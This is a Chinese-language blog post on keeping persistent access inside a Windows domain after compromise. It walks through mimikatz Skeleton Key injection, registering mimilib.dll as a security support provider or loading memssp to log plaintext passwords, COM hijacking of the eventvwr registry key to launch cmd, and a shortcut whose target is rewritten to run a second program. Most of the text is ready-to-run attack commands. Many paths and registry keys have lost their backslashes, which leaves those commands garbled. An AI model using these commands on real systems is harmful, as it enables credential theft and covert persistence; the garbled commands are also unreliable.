内网渗透|域内持久权限维持总结

2021-08-13 16:07:48 浏览数 (1)

0x01 万能密码(Skeleton Key)

将自身注入lsass进程创建一个主密码,可以适用于域内的任意账户。

前提条件是拥有域管权限。

mimikatz执行:

代码语言:javascript复制
privilege::debugmisc::skeleton

然后ipc连接域控

0x02 SSP

SSPI 将负责为想要通信的两台机器找到合适的协议。对此的首选方法是 Kerberos。然后 SSPI 将协商将使用哪种身份验证协议,这些身份验证协议称为安全支持提供程序 (SSP),以 DLL 的形式位于每台 Windows 机器内部,并且两台机器必须支持相同才能进行通信。

我们可以自己创建ssp,捕获明文。

2.1 注册SSP DLL

1.将mimilib.dll复制到system32目录下

代码语言:javascript复制
move mimilib.dll %systemroot%system32

2.查看Security Packages

代码语言:javascript复制
reg query hklmsystemcurrentcontrolsetcontrollsa /v "Security Packages"

3.修改Security Packages值

代码语言:javascript复制
reg add "hklmsystemcurrentcontrolsetcontrollsa" /v "Security Packages" /d "kerberosmsv1_0schannelwdigesttspkgpku2umimilib" /t REG_MULTI_SZ

密码会保存在:

代码语言:javascript复制
C:WindowsSystem32kiwissp.log

会产生事件ID为4657的日志。

2.2 内存加载

代码语言:javascript复制
privilege::debugmisc::memssp

当用户登录的时候密码会储存在

代码语言:javascript复制
C:Windowssystem32mimilsa.log

0x03 com劫持

Microsoft 组件对象模型 (COM) 是一个独立于平台、分布式、面向对象的系统,用于创建可以交互的二进制软件组件。

我们可以更改事件管理器,使其打开启动我们的二进制文件。

修改

代码语言:javascript复制
HKCUSOFTWAREClassesmscfileshellopencommand

将原来的

代码语言:javascript复制
%SystemRoot%system32mmc.exe "%1" %*

修改为:

代码语言:javascript复制
C:windowssystem32cmd.exe

执行:

代码语言:javascript复制
reg.exe add hkcusoftwareclassesmscfileshellopencommand /ve /d "c:windowssystem32cmd.exe /c "start cmd"" /feventvwr.exe

0x04 lnk

这里以该快捷文件为例:

修改目标为:

代码语言:javascript复制
powershell.exe -c "invoke-item C:UsersAdministratorDesktopAdExplorerADExplorer64.exe; invoke-item c:windowssystem32calc.exe"

再把图标修改回来:

运行lnk

0 人点赞